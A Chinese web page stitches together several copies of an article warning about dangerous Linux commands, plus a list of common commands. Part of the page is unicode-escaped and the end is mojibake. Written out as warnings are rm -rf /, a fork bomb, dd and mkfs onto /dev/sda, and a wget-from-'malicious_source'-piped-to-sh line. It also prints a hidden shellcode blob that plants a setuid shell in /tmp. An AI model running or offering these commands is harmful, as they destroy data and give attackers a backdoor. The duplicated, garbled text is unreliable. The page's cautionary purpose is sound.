Linux执行的10个最危险的命令是哪些? linux以下哪些命令是危险操作,会引起系统异常

Linux\u54ea\u4e9b\u547d\u4ee4\u6700\u5371\u9669

\u8fd99\u4e2a\u201c\u975e\u5e38\u5371\u9669\u201d\u7684Linux\u547d\u4ee4\u4e00\u5b9a\u8981\u8bb0\u4f4f!
1\u3001rm-rf\u547d\u4ee4
rm-rf\u547d\u4ee4\u662f\u5220\u9664\u6587\u4ef6\u5939\u53ca\u5176\u5185\u5bb9\u6700\u5feb\u7684\u4e00\u79cd\u65b9\u5f0f\uff0c\u4ec5\u4ec5\u4e00\u4e01\u70b9\u7684\u6572\u9519\u6216\u8005\u65e0\u77e5\u90fd\u53ef\u80fd\u5bfc\u81f4\u4e0d\u53ef\u6062\u590d\u7684\u7cfb\u7edf\u5d29\u574f\u3002
rm\u547d\u4ee4\u5728Linux\u4e0b\u901a\u5e38\u7528\u6765\u5220\u9664\u6587\u4ef6
rm-f\u547d\u4ee4\u9012\u5f52\u7684\u5220\u9664\u6587\u4ef6\u5939\uff0c\u751a\u81f3\u662f\u7a7a\u7684\u6587\u4ef6\u5939
rm-f\u547d\u4ee4\u80fd\u4e0d\u7ecf\u8fc7\u8be2\u95ee\u76f4\u63a5\u5220\u9664\u53ea\u8bfb\u6587\u4ef6
rm-rf/\uff1a\u5f3a\u5236\u5220\u9664\u6839\u76ee\u5f55\u4e0b\u6240\u6709\u4e1c\u897f
rm-rf/*\uff1a\u5f3a\u5236\u5220\u9664\u5f53\u524d\u76ee\u5f55\u7684\u6240\u6709\u6587\u4ef6
rm-rf.\uff1a\u5f3a\u5236\u5220\u9664\u5f53\u524d\u6587\u4ef6\u5939\u53ca\u5176\u5b50\u6587\u4ef6
\u6e29\u99a8\u63d0\u793a\uff1a\u5f53\u4f60\u8981\u6267\u884crm -rf\u547d\u4ee4\u65f6\uff0c\u4e00\u5b9a\u8981\u7559\u5fc3\uff0c\u53ef\u4ee5\u5728\u201c.bashrc\u201d\u6587\u4ef6\u5bf9\u201crm\u201d\u547d\u4ee4\u521b\u5efarm -i\u7684\u522b\u540d\uff0c\u6765\u9884\u9632\u7528\u2018rm\u2019\u547d\u4ee4\u5220\u9664\u6587\u4ef6\u65f6\u7684\u4e8b\u6545\u3002
2\u3001:(){:|:&};:\u547d\u4ee4
\u8fd9\u5c31\u662f\u4e00\u4e2afork\u70b8\u5f39\u7684\u5b9e\u4f8b\u3002\u5177\u4f53\u64cd\u4f5c\u662f\u901a\u8fc7\u5b9a\u4e49\u4e00\u4e2a\u540d\u4e3a'\uff1a'\u7684\u51fd\u6570\uff0c\u5b83\u4f1a\u8c03\u7528\u81ea\u5df1\u4e24\u6b21\uff0c\u4e00\u6b21\u5728\u524d\u53f0\u53e6\u4e00\u6b21\u8fd0\u884c\u5728\u540e\u53f0\u3002\u5b83\u4f1a\u53cd\u590d\u7684\u6267\u884c\u4e0b\u53bb\u76f4\u5230\u7cfb\u7edf\u5d29\u6e83\u3002
3\u3001\u547d\u4ee4 >/dev/sda
\u4e0a\u5217\u547d\u4ee4\u4f1a\u5c06\u67d0\u4e2a'\u547d\u4ee4'\u7684\u8f93\u51fa\u5199\u5230\u5757\u8bbe\u5907/dev/sda\u4e2d\u3002\u8be5\u64cd\u4f5c\u4f1a\u5c06\u5728\u5757\u8bbe\u5907\u4e2d\u7684\u6240\u6709\u6570\u636e\u5757\u66ff\u6362\u4e3a\u547d\u4ee4\u5199\u5165\u7684\u539f\u59cb\u6570\u636e\uff0c\u4ece\u800c\u5bfc\u81f4\u6574\u4e2a\u5757\u8bbe\u5907\u7684\u6570\u636e\u4e22\u5931\u3002
4\u3001mv\u6587\u4ef6\u5939/dev/null
\u8fd9\u4e2a\u547d\u4ee4\u4f1a\u79fb\u52a8\u67d0\u4e2a'\u6587\u4ef6\u5939'\u5230/dev/null\u3002\u5728Linux\u4e2d/dev/null\u6216null\u8bbe\u5907\u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u6587\u4ef6\uff0c\u6240\u6709\u5199\u5165\u5b83\u7684\u6570\u636e\u90fd\u4f1a\u88ab\u6e05\u9664\uff0c\u7136\u540e\u8fd4\u56de\u5199\u64cd\u4f5c\u6210\u529f\u3002
5\u3001wget http://malicious_source -O- | sh
\u4e0a\u9762\u8fd9\u4e2a\u547d\u4ee4\u4f1a\u4ece\u4e00\u4e2a\u6076\u610f\u6e90\u4e0b\u8f7d\u4e00\u4e2a\u811a\u672c\u5e76\u6267\u884c\u3002Wget\u547d\u4ee4\u4f1a\u4e0b\u8f7d\u8fd9\u4e2a\u811a\u672c\uff0c\u800csh\u4f1a\u6267\u884c\u4e0b\u8f7d\u4e0b\u6765\u7684\u811a\u672c\u3002
\u6e29\u99a8\u63d0\u793a\uff1a\u4f60\u5e94\u8be5\u65f6\u523b\u6ce8\u610f\u4f60\u4e0b\u8f7d\u5305\u6216\u8005\u811a\u672c\u7684\u6e90\u3002\u53ea\u80fd\u4f7f\u7528\u90a3\u4e9b\u4ece\u53ef\u4fe1\u4efb\u7684\u6e90\u4e2d\u4e0b\u8f7d\u811a\u672c/\u7a0b\u5e8f\u3002
6\u3001mkfs.ext3 /dev/sda
\u4e0a\u5217\u547d\u4ee4\u4f1a\u683c\u5f0f\u5316\u8bbe\u5907'sda'\uff0c\u4f60\u65e0\u7591\u77e5\u9053\u5728\u6267\u884c\u4e0a\u5217\u547d\u4ee4\u540e\u4f60\u7684\u5757\u8bbe\u5907\u4f1a\u88ab\u683c\u5f0f\u5316\uff0c\u5d2d\u65b0\u7684\u3002\u6ca1\u6709\u4efb\u4f55\u6570\u636e\uff0c\u76f4\u63a5\u8ba9\u4f60\u7684\u7cfb\u7edf\u8fbe\u5230\u4e0d\u53ef\u6062\u590d\u7684\u9636\u6bb5\u3002
7\u3001> file
\u4e0a\u9762\u547d\u4ee4\u5e38\u7528\u6765\u6e05\u7a7a\u6587\u4ef6\u5185\u5bb9\uff0c\u5982\u679c\u7528\u4e0a\u5217\u6267\u884c\u65f6\u8f93\u5165\u9519\u8bef\u6216\u65e0\u77e5\u7684\u8f93\u5165\u7c7b\u4f3c\u201c> xt.conf\u201d\u3000\u7684\u547d\u4ee4\u4f1a\u8986\u76d6\u914d\u7f6e\u6587\u4ef6\u6216\u5176\u4ed6\u4efb\u4f55\u7684\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6\u3002
8\u3001^foo^bar
\u8fd9\u4e2a\u547d\u4ee4\u7528\u6765\u7f16\u8f91\u5148\u524d\u8fd0\u884c\u7684\u547d\u4ee4\u800c\u65e0\u9700\u8981\u6253\u6574\u4e2a\u547d\u4ee4\u3002\u4f46\u5f53\u7528foobar\u547d\u4ee4\u65f6\u5982\u679c\u4f60\u6ca1\u6709\u5f7b\u5e95\u68c0\u67e5\u6539\u53d8\u539f\u59cb\u547d\u4ee4\u7684\u98ce\u9669\uff0c\u8fd9\u53ef\u80fd\u5bfc\u81f4\u771f\u6b63\u7684\u9ebb\u70e6\u3002
9\u3001dd if=/dev/random of=/dev/sda
\u4e0a\u9762\u8fd9\u4e2a\u547d\u4ee4\u4f1a\u5411\u5757\u8bbe\u5907sda\u5199\u5165\u968f\u673a\u7684\u5783\u573e\u6587\u4ef6\u4ece\u800c\u64e6\u9664\u6570\u636e\u3002\u5f53\u7136\uff0c\u4f60\u7684\u7cfb\u7edf\u53ef\u80fd\u9677\u5165\u6df7\u4e71\u548c\u4e0d\u53ef\u6062\u590d\u7684\u72b6\u6001\u3002

Linux\u7cfb\u7edf\u4e2d\u7684\u547d\u4ee4\u5b9e\u5728\u662f\u592a\u591a\u4e86\uff0c\u7b80\u5355\u5305\u62ec\u4e24\u7c7b\u547d\u4ee4\uff0c\u4e00\u7c7b\u662f\u5185\u90e8\u547d\u4ee4\uff0c\u6307\u7684\u662fShell\u81ea\u8eab\u63d0\u4f9b\u7684\u529f\u80fd\uff0c\u4e00\u7c7b\u662f\u5916\u90e8\u547d\u4ee4\uff0c\u6307\u7684\u662f\u7b2c\u4e09\u65b9\u7684\u63a7\u5236\u53f0\u5e94\u7528\u7a0b\u5e8f\u3002
\u4e00\u822c\u6765\u8bf4\uff0c\u6ca1\u5fc5\u8981\u5b8c\u5168\u5b66\u4e60\u6240\u6709\u7684\u547d\u4ee4\uff0c\u5927\u4f53\u4e0a\u6709\u4e2a\u5370\u8c61\uff0c\u7528\u5230\u7684\u65f6\u5019\u53bb\u67e5\u4e00\u4e0b\u5e2e\u52a9\u6587\u6863\uff0c\u4e45\u800c\u4e45\u4e4b\uff0c\u81ea\u7136\u719f\u7ec3\u3002

\u4e0b\u9762\u662f\u7f51\u53cb\u6574\u7406\u768420\u4e2a\u6700\u5e38\u7528\u7684Linux\u547d\u4ee4\uff1a

1. ls\u547d\u4ee4
ls\u547d\u4ee4\u662f\u5217\u51fa\u76ee\u5f55\u5185\u5bb9(List Directory Contents)\u7684\u610f\u601d\u3002\u8fd0\u884c\u5b83\u5c31\u662f\u5217\u51fa\u6587\u4ef6\u5939\u91cc\u7684\u5185\u5bb9\uff0c\u53ef\u80fd\u662f\u6587\u4ef6\u4e5f\u53ef\u80fd\u662f\u6587\u4ef6\u5939\u3002

2. lsblk\u547d\u4ee4
"lsblk"\u5c31\u662f\u5217\u51fa\u5757\u8bbe\u5907\u3002\u9664\u4e86RAM\u5916\uff0c\u4ee5\u6807\u51c6\u7684\u6811\u72b6\u8f93\u51fa\u683c\u5f0f\uff0c\u6574\u9f50\u5730\u663e\u793a\u5757\u8bbe\u5907\u3002

3. md5sum\u547d\u4ee4
\u201cmd5sum\u201d\u5c31\u662f\u8ba1\u7b97\u548c\u68c0\u9a8cMD5\u4fe1\u606f\u7b7e\u540d\u3002md5 checksum(\u901a\u5e38\u53eb\u505a\u54c8\u5e0c)\u4f7f\u7528\u5339\u914d\u6216\u8005\u9a8c\u8bc1\u6587\u4ef6\u7684\u6587\u4ef6\u7684\u5b8c\u6574\u6027\uff0c\u56e0\u4e3a\u6587\u4ef6\u53ef\u80fd\u56e0\u4e3a\u4f20\u8f93\u9519\u8bef\uff0c\u78c1\u76d8\u9519\u8bef\u6216\u8005\u65e0\u6076\u610f\u7684\u5e72\u6270\u7b49\u539f\u56e0\u800c\u53d1\u751f\u6539\u53d8\u3002

4. dd\u547d\u4ee4
\u201cdd\u201d\u547d\u4ee4\u4ee3\u8868\u4e86\u8f6c\u6362\u548c\u590d\u5236\u6587\u4ef6\u3002\u53ef\u4ee5\u7528\u6765\u8f6c\u6362\u548c\u590d\u5236\u6587\u4ef6\uff0c\u5927\u591a\u6570\u65f6\u95f4\u662f\u7528\u6765\u590d\u5236iso\u6587\u4ef6(\u6216\u4efb\u4f55\u5176\u5b83\u6587\u4ef6)\u5230\u4e00\u4e2ausb\u8bbe\u5907(\u6216\u4efb\u4f55\u5176\u5b83\u5730\u65b9)\u4e2d\u53bb\uff0c\u6240\u4ee5\u53ef\u4ee5\u7528\u6765\u5236\u4f5cUSB\u542f\u52a8\u5668\u3002

6. history\u547d\u4ee4
\u201chistory\u201d\u547d\u4ee4\u5c31\u662f\u5386\u53f2\u8bb0\u5f55\u3002\u5b83\u663e\u793a\u4e86\u5728\u7ec8\u7aef\u4e2d\u6240\u6267\u884c\u8fc7\u7684\u6240\u6709\u547d\u4ee4\u7684\u5386\u53f2\u3002

7. sudo\u547d\u4ee4
\u201csudo\u201d(super user do)\u547d\u4ee4\u5141\u8bb8\u6388\u6743\u7528\u6237\u6267\u884c\u8d85\u7ea7\u7528\u6237\u6216\u8005\u5176\u5b83\u7528\u6237\u7684\u547d\u4ee4\u3002\u901a\u8fc7\u5728sudoers\u5217\u8868\u7684\u5b89\u5168\u7b56\u7565\u6765\u6307\u5b9a\u3002

8. mkdir\u547d\u4ee4
\u201cmkdir\u201d(Make directory)\u547d\u4ee4\u5728\u547d\u540d\u8def\u5f84\u4e0b\u521b\u5efa\u65b0\u7684\u76ee\u5f55\u3002\u7136\u800c\u5982\u679c\u76ee\u5f55\u5df2\u7ecf\u5b58\u5728\u4e86\uff0c\u90a3\u4e48\u5b83\u5c31\u4f1a\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\u4fe1\u606f"\u4e0d\u80fd\u521b\u5efa\u6587\u4ef6\u5939\uff0c\u6587\u4ef6\u5939\u5df2\u7ecf\u5b58\u5728\u4e86"("cannot create folder, folder already exists")

9. touch \u547d\u4ee4
\u201ctouch\u201d\u547d\u4ee4\u4ee3\u8868\u4e86\u5c06\u6587\u4ef6\u7684\u8bbf\u95ee\u548c\u4fee\u6539\u65f6\u95f4\u66f4\u65b0\u4e3a\u5f53\u524d\u65f6\u95f4\u3002touch\u547d\u4ee4\u53ea\u4f1a\u5728\u6587\u4ef6\u4e0d\u5b58\u5728\u7684\u65f6\u5019\u624d\u4f1a\u521b\u5efa\u5b83\u3002\u5982\u679c\u6587\u4ef6\u5df2\u7ecf\u5b58\u5728\u4e86\uff0c\u5b83\u4f1a\u66f4\u65b0\u65f6\u95f4\u6233\uff0c\u4f46\u662f\u5e76\u4e0d\u4f1a\u6539\u53d8\u6587\u4ef6\u7684\u5185\u5bb9\u3002

10. chmod \u547d\u4ee4
\u201cchmod\u201d\u547d\u4ee4\u5c31\u662f\u6539\u53d8\u6587\u4ef6\u7684\u6a21\u5f0f\u4f4d\u3002chmod\u4f1a\u6839\u636e\u8981\u6c42\u7684\u6a21\u5f0f\u6765\u6539\u53d8\u6bcf\u4e2a\u6240\u7ed9\u7684\u6587\u4ef6\uff0c\u6587\u4ef6\u5939\uff0c\u811a\u672c\u7b49\u7b49\u7684\u6587\u4ef6\u6a21\u5f0f\uff08\u6743\u9650\uff09\u3002

11. chown\u547d\u4ee4
\u201cchown\u201d\u547d\u4ee4\u5c31\u662f\u6539\u53d8\u6587\u4ef6\u62e5\u6709\u8005\u548c\u6240\u5728\u7528\u6237\u7ec4\u3002\u6bcf\u4e2a\u6587\u4ef6\u90fd\u5c5e\u4e8e\u4e00\u4e2a\u7528\u6237\u7ec4\u548c\u4e00\u4e2a\u7528\u6237\u3002\u5728\u4f60\u7684\u76ee\u5f55\u4e0b\uff0c\u4f7f\u7528"ls -l",\u4f60\u5c31\u4f1a\u770b\u5230\u50cf\u8fd9\u6837\u7684\u4e1c\u897f\u3002

12. apt\u547d\u4ee4
Debian\u7cfb\u5217\u4ee5\u201capt\u201d\u547d\u4ee4\u4e3a\u57fa\u7840\uff0c\u201capt\u201d\u4ee3\u8868\u4e86Advanced Package Tool\u3002APT\u662f\u4e00\u4e2a\u4e3aDebian\u7cfb\u5217\u7cfb\u7edf\uff08Ubuntu\uff0cKubuntu\u7b49\u7b49\uff09\u5f00\u53d1\u7684\u9ad8\u7ea7\u5305\u7ba1\u7406\u5668\uff0c\u5728Gnu/Linux\u7cfb\u7edf\u4e0a\uff0c\u5b83\u4f1a\u4e3a\u5305\u81ea\u52a8\u5730\uff0c\u667a\u80fd\u5730\u641c\u7d22\uff0c\u5b89\u88c5\uff0c\u5347\u7ea7\u4ee5\u53ca\u89e3\u51b3\u4f9d\u8d56\u3002

13. tar\u547d\u4ee4
\u201ctar\u201d\u547d\u4ee4\u662f\u78c1\u5e26\u5f52\u6863(Tape Archive)\uff0c\u5bf9\u521b\u5efa\u4e00\u4e9b\u6587\u4ef6\u7684\u7684\u5f52\u6863\u548c\u5b83\u4eec\u7684\u89e3\u538b\u5f88\u6709\u7528\u3002

14. cal \u547d\u4ee4
\u201ccal\u201d\uff08Calender\uff09\uff0c\u5b83\u7528\u6765\u663e\u793a\u5f53\u524d\u6708\u4efd\u6216\u8005\u672a\u6765\u6216\u8005\u8fc7\u53bb\u4efb\u4f55\u5e74\u4efd\u4e2d\u7684\u6708\u4efd\u3002
16. cat\u547d\u4ee4
\u201ccat\u201d\u4ee3\u8868\u4e86\u8fde\u7ed3\uff08Concatenation\uff09\uff0c\u8fde\u63a5\u4e24\u4e2a\u6216\u8005\u66f4\u591a\u6587\u672c\u6587\u4ef6\u6216\u8005\u4ee5\u6807\u51c6\u8f93\u51fa\u5f62\u5f0f\u6253\u5370\u6587\u4ef6\u7684\u5185\u5bb9\u3002

17. cp \u547d\u4ee4
\u201ccopy\u201d\u5c31\u662f\u590d\u5236\u3002\u5b83\u4f1a\u4ece\u4e00\u4e2a\u5730\u65b9\u590d\u5236\u4e00\u4e2a\u6587\u4ef6\u5230\u53e6\u5916\u4e00\u4e2a\u5730\u65b9\u3002

18. mv \u547d\u4ee4
\u201cmv\u201d\u547d\u4ee4\u5c06\u4e00\u4e2a\u5730\u65b9\u7684\u6587\u4ef6\u79fb\u52a8\u5230\u53e6\u5916\u4e00\u4e2a\u5730\u65b9\u53bb\u3002

19. pwd \u547d\u4ee4
\u201cpwd\u201d\uff08print working directory\uff09\uff0c\u5728\u7ec8\u7aef\u4e2d\u663e\u793a\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u7684\u5168\u8def\u5f84\u3002

20. cd \u547d\u4ee4
\u6700\u540e\uff0c\u7ecf\u5e38\u4f7f\u7528\u7684\u201ccd\u201d\u547d\u4ee4\u4ee3\u8868\u4e86\u6539\u53d8\u76ee\u5f55\u3002\u5b83\u5728\u7ec8\u7aef\u4e2d\u6539\u53d8\u5de5\u4f5c\u76ee\u5f55\u6765\u6267\u884c\uff0c\u590d\u5236\uff0c\u79fb\u52a8\uff0c\u8bfb\uff0c\u5199\u7b49\u7b49\u64cd\u4f5c\u3002

Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对Linux或linux命令行的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。(译注:当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。)

1. rm -rf命令
rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm命令的选项。
rm 命令在Linux下通常用来删除文件。
rm -r命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
rm -f命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。)
rm -rf / :强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
rm -rf *: 强制删除当前目录的所有文件。
rm -rf . :强制删除当前文件夹及其子文件夹。
从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。)
2. :(){:|:&};:命令
这就是个fork炸弹的实例。具体操作是通过定义一个名为‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:&};:哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
3.命令 > /dev/sda
上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4. mv文件夹/dev/null
这个命令会移动某个‘文件夹‘到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。
5. wget http://malicious_source -O- | sh
上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
注意:你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)
6. mkfs.ext3 /dev/sda
上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。)
7. > file
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似“> xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。
8. ^foo^bar
这个命令在我们十个鲜为人知的Linux命令- Part 3中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)
10.隐藏命令
下面的命令其实就是上面第一个命令(rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
=“ë>[1ÀPTZƒìdh″
“ÿÿÿÿhßÐßÙh™″
“ßh’ßÒT^÷÷″
“V÷V÷VƒÄtV″
“sVSTY°Í€1″
“À@ëùè½ÿÿÿ/bi″
“n/sh-c″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;注意:不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令。如果你想测试它们,请在虚拟机上运行。任何不和谐或数据丢失,由于运行上面的命令导致你的系统崩溃,文章作者和Tecmint概不负责。(译注:译者和转载网站也不负责~!)



1、rm -rf命令
此命令是删除文件夹及其内容最快的方式之一,但如果出现一丁点的错误,就可能对系统造成不可恢复的破坏,下面是rm命令的选项:
rm:命令在Linux下通常用来删除文件;
rm -r:命令递归的删除文件夹,甚至是空的文件夹;
rm -f:可不经过询问直接删除“只读文件”,所以-f这个参数表示不必一个个删除确认,而是一律悄悄删除;
rn -rf /:强制删除根目录下的所有东西;
rm -rf *:强制删除当前目录的所有文件;
rm -rf .:强制删除当前文件夹及其子文件夹;
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};: 命令
其实就是一种fork炸弹,定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台,这样的调用会无限循环,直到系统崩溃。
3、任意命令 > /dev/sda
会将某个命令的输出写到块设备/dev/sda中,该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv 文件夹 /dev/null
会移动某个文件夹到/dev/null中,在Linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的信息,但是这个命令并不能阻止数据恢复软件。
5、wget http://malicious_source -O- | sh
该命令可能会直接下载恶意的源文件,然后使用sh直接运行该脚本。
注意:应该时刻注意你下载包或脚本的源,只能使用那些从可信任的源中下载脚本或程序。
6、> file
常用于清空文件内容或记录命令输出,不过在执行前,请确认输出的文件是空的还是不存在的,否则原来的文件将无法恢复。
7、^foo^bar
这个命令用来编辑先前运行的命令而无需重打整个命令,用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
…………

1、rm -rf命令
此命令是删除文件夹及其内容最快的方式之一,但如果出现一丁点的错误,就可能对系统造成不可恢复的破坏,下面是rm命令的选项:
rm:命令在Linux下通常用来删除文件;
rm -r:命令递归的删除文件夹,甚至是空的文件夹;
rm -f:可不经过询问直接删除“只读文件”,所以-f这个参数表示不必一个个删除确认,而是一律悄悄删除;
rn -rf /:强制删除根目录下的所有东西;
rm -rf *:强制删除当前目录的所有文件;
rm -rf .:强制删除当前文件夹及其子文件夹;
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};: 命令
其实就是一种fork炸弹,定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台,这样的调用会无限循环,直到系统崩溃。
3、任意命令 > /dev/sda
会将某个命令的输出写到块设备/dev/sda中,该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv 文件夹 /dev/null
会移动某个文件夹到/dev/null中,在Linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的信息,但是这个命令并不能阻止数据恢复软件。
5、wget http://malicious_source -O- | sh
该命令可能会直接下载恶意的源文件,然后使用sh直接运行该脚本。
注意:应该时刻注意你下载包或脚本的源,只能使用那些从可信任的源中下载脚本或程序。
6、> file
常用于清空文件内容或记录命令输出,不过在执行前,请确认输出的文件是空的还是不存在的,否则原来的文件将无法恢复。
7、^foo^bar
这个命令用来编辑先前运行的命令而无需重打整个命令,用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。

  • Linux鎵ц鐨10涓渶鍗遍櫓鐨鍛戒护鏄摢浜?
    绛旓細锛 1. rm -rf鍛戒护 rm -rf鍛戒护鏄垹闄ゆ枃浠跺す鍙婂叾鍐呭鏈蹇殑鏂瑰紡涔嬩竴銆備粎浠呬竴涓佺偣鐨勬暡閿欐垨鏃犵煡閮藉彲鑳藉鑷翠笉鍙仮澶嶇殑绯荤粺宕╁潖銆備笅鍒楁槸涓浜況m鍛戒护鐨勯夐」銆 rm銆鍛戒护鍦↙inux涓嬮氬父鐢ㄦ潵鍒犻櫎鏂囦欢銆 rm -r鍛戒护閫掑綊鐨勫垹闄ゆ枃浠跺す锛岀敋鑷虫槸绌虹殑鏂囦欢澶广傦紙璇戞敞锛氫釜浜鸿涓烘澶勫簲璇ユ槸璇撮敊浜嗭紝浠庡父璇嗙湅...
  • Linux鏈嶅姟鍣ㄥ父瑙佺殑瀹夊叏婕忔礊鏈夊摢浜?
    绛旓細linux绠$悊甯歌閿欒鍗侊細浠ユ牴鐢ㄦ埛韬唤鐧诲綍 杩欐槸涓绉嶅緢鍗遍櫓鐨勯敊璇傚鏋滅敤鎴烽渶瑕佹牴鐗规潈鏉ユ墽琛屾垨閰嶇疆涓涓簲鐢ㄧ▼搴忥紝鍙互鍦ㄤ竴涓爣鍑嗙殑鐢ㄦ埛璐︽埛涓娇鐢╯u鍒囨崲鍒皉oot鐢ㄦ埛銆傜櫥褰曞埌root涓轰粈涔堜笉鏄竴浠跺ソ浜嬪効?鍦ㄧ敤鎴蜂互鏍囧噯鐢ㄦ埛韬唤鐧诲綍鏃讹紝鎵鏈夋鍦ㄨ繍琛岀殑X搴旂敤绋嬪簭浠嶆嫢鏈変粎闄愪簬姝ょ敤鎴风殑璁块棶鏉冦傚鏋滅敤鎴蜂互鏍圭敤鎴疯韩浠界櫥褰...
  • LINUX甯歌闂20涓
    绛旓細浣犺繕鍙互杩愯鐣岄潰涓嶅弸濂界殑xfree86,濡傛灉浣犳瘮杈冪簿閫Linux鐨璇,鐢▁free86鍛戒护閰嶇疆鐨刋 Windows鏁堟灉姣擷configurator濂藉緢澶氱殑銆傜晫闈㈡渶鍙嬪ソ鐨,褰撳睘XF86Setup宸ュ叿,鑻ヤ綘鏈夊畨瑁呰繖涓伐鍏风殑璇,涓嶅Θ灏辩敤杩欎釜宸ュ叿鏉ヨ缃綘鐨勬樉鍗″惂銆 鍏佸浣曡缃綉鍗 涔濄佸浣曟挱鏀綜D闊充箰 澹板崱璁剧疆濂戒簡,鍙互鍦ㄥ厜椹变腑鎻掑叆涓寮燙D,鐢ㄨ杞藉懡浠ount灏...
  • linux寮哄埗鏉姝昏繘绋鐨勫懡浠inux寮哄埗鏉姝昏繘绋
    绛旓細linux鍋滄鍛戒护鏂规硶涓缁堟褰撳墠姝e湪鎵ц鐨勬煇涓懡浠ゆ渶蹇殑鏂规硶鏄寜涓嬬粍鍚堥敭鈥淐trl+C鈥銆傝繖涓柟娉曞彧鏈夊湪鐢ㄦ埛鑳藉浠庢煇涓櫄鎷熸帶鍒跺彴涓婃帶鍒惰繖涓▼搴忕殑鏃跺欐墠濂忔晥銆俵inux鍋滄鍛戒护鏂规硶浜岀粓姝㈡煇涓嚭閿欑▼搴忕殑鍙﹀涓涓姙娉曟槸kill(鏉)鎺夊畠鐨勮繘绋嬨傝鎸夌収涓嬮潰鐨勬柟娉曡繘琛屾搷浣滐細杈撳叆鈥減s鈥濆懡浠よ幏鍙栬繘绋嬬殑PID锛岃繖涓懡浠よ姹備綘...
  • Linux鎿嶄綔绯荤粺涔犻(璇峰悇浣嶄細鍋氱殑鏈嬪弸缁欎釜绛旀鍚璋㈣阿浜)
